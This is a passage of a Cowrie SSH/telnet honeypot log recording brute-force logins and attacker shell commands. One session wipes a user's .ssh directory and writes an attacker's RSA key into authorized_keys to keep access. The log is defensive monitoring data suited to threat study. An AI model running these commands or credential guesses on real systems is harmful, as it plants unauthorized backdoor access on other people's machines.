{"eventid":"cowrie.session.closed","duration":4.891596794128418,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:49.933771Z","src_ip":"174.138.46.234","session":"d0b984f54c1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33320,"dst_ip":"159.203.135.109","dst_port":23,"session":"b26f4deb9c7a","protocol":"telnet","message":"New connection: 174.138.46.234:33320 (159.203.135.109:23) [session: b26f4deb9c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:50.102229Z"}
{"eventid":"cowrie.session.closed","duration":5.949698209762573,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:54.077435Z","src_ip":"174.138.46.234","session":"9b8860a808ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.00187373161316,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:57.532588Z","src_ip":"167.94.146.57","session":"d50509a66060","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.825023174285889,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:57.927109Z","src_ip":"174.138.46.234","session":"b26f4deb9c7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":53752,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3f0bfef28d8","protocol":"ssh","message":"New connection: 202.145.0.61:53752 (10.17.0.5:22) [session: e3f0bfef28d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:58.265613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:58.269383Z","src_ip":"202.145.0.61","session":"e3f0bfef28d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:58.509715Z","src_ip":"202.145.0.61","session":"e3f0bfef28d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33802,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4d6bdc4e615","protocol":"telnet","message":"New connection: 23.111.140.22:33802 (10.17.0.5:23) [session: b4d6bdc4e615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:59.462702Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oralce","message":"login attempt [oracle/oralce] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:59.504965Z","src_ip":"202.145.0.61","session":"e3f0bfef28d8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:00.047766Z","src_ip":"202.145.0.61","session":"e3f0bfef28d8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:00.053895Z","src_ip":"202.145.0.61","session":"e3f0bfef28d8","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:00.058923Z","src_ip":"202.145.0.61","session":"e3f0bfef28d8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:00.305963Z","src_ip":"202.145.0.61","session":"e3f0bfef28d8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:00.837267Z","src_ip":"202.145.0.61","session":"e3f0bfef28d8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:00.840958Z","src_ip":"202.145.0.61","session":"e3f0bfef28d8","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:01.089751Z","src_ip":"202.145.0.61","session":"e3f0bfef28d8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:01.094447Z","src_ip":"202.145.0.61","session":"e3f0bfef28d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":54790,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d441e7a2003","protocol":"ssh","message":"New connection: 202.145.0.61:54790 (10.17.0.5:22) [session: 0d441e7a2003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:01.326962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:01.336049Z","src_ip":"202.145.0.61","session":"0d441e7a2003","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:01.584008Z","src_ip":"202.145.0.61","session":"0d441e7a2003","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:02.578239Z","src_ip":"202.145.0.61","session":"0d441e7a2003","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:03.823989Z","src_ip":"202.145.0.61","session":"0d441e7a2003","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":55718,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ef6fe4d6bd8","protocol":"ssh","message":"New connection: 202.145.0.61:55718 (10.17.0.5:22) [session: 4ef6fe4d6bd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:04.054206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:04.061380Z","src_ip":"202.145.0.61","session":"4ef6fe4d6bd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:04.305176Z","src_ip":"202.145.0.61","session":"4ef6fe4d6bd8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:05.278352Z","src_ip":"202.145.0.61","session":"4ef6fe4d6bd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:05.516482Z","src_ip":"202.145.0.61","session":"e3f0bfef28d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:05.523901Z","src_ip":"202.145.0.61","session":"4ef6fe4d6bd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.6975736618042,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:08.955538Z","src_ip":"23.111.140.22","session":"178dfd1d7b43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39248,"dst_ip":"159.203.135.109","dst_port":23,"session":"f99763ac6159","protocol":"telnet","message":"New connection: 174.138.46.234:39248 (159.203.135.109:23) [session: f99763ac6159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:10.219881Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42260,"dst_ip":"10.17.0.5","dst_port":23,"session":"269aab9ba143","protocol":"telnet","message":"New connection: 23.111.140.22:42260 (10.17.0.5:23) [session: 269aab9ba143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:16.578437Z"}
{"eventid":"cowrie.session.closed","duration":6.9694983959198,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:17.189243Z","src_ip":"174.138.46.234","session":"f99763ac6159","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44050,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bc6bdd65992","protocol":"telnet","message":"New connection: 174.138.46.234:44050 (159.203.135.109:23) [session: 4bc6bdd65992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:26.587596Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44108,"dst_ip":"159.203.135.109","dst_port":23,"session":"b74028d25d29","protocol":"telnet","message":"New connection: 174.138.46.234:44108 (159.203.135.109:23) [session: b74028d25d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:26.793220Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58686,"dst_ip":"10.17.0.5","dst_port":23,"session":"24da36e9bfd3","protocol":"telnet","message":"New connection: 23.111.140.22:58686 (10.17.0.5:23) [session: 24da36e9bfd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:27.267399Z"}
{"eventid":"cowrie.session.closed","duration":30.674054861068726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:30.136645Z","src_ip":"23.111.140.22","session":"b4d6bdc4e615","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45802,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8d942c48c11","protocol":"telnet","message":"New connection: 174.138.46.234:45802 (159.203.135.109:23) [session: d8d942c48c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:32.709724Z"}
{"eventid":"cowrie.session.closed","duration":6.008679389953613,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:32.801775Z","src_ip":"174.138.46.234","session":"b74028d25d29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.48797369003296,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:33.844705Z","src_ip":"174.138.46.234","session":"c14662e8421d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.33651804924011,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:35.859530Z","src_ip":"174.138.46.234","session":"289c147fd7b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.882079839706421,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:38.591675Z","src_ip":"174.138.46.234","session":"d8d942c48c11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":41934,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bc3cff4ade1","protocol":"ssh","message":"New connection: 135.235.138.43:41934 (10.17.0.5:22) [session: 8bc3cff4ade1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:40.496318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:40.500951Z","src_ip":"135.235.138.43","session":"8bc3cff4ade1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:40.688527Z","src_ip":"135.235.138.43","session":"8bc3cff4ade1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456789","message":"login attempt [user/user123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:41.468200Z","src_ip":"135.235.138.43","session":"8bc3cff4ade1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55148,"dst_ip":"10.17.0.5","dst_port":23,"session":"61b9ac7e2a80","protocol":"telnet","message":"New connection: 23.111.140.22:55148 (10.17.0.5:23) [session: 61b9ac7e2a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:42.402809Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:42.657806Z","src_ip":"135.235.138.43","session":"8bc3cff4ade1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34092,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b3e8f0a3c67","protocol":"telnet","message":"New connection: 23.111.140.22:34092 (10.17.0.5:23) [session: 7b3e8f0a3c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:49.512505Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":42612,"dst_ip":"10.17.0.5","dst_port":22,"session":"c866e71b835a","protocol":"ssh","message":"New connection: 202.145.0.61:42612 (10.17.0.5:22) [session: c866e71b835a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:52.910026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:39:52.915112Z","src_ip":"202.145.0.61","session":"c866e71b835a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","h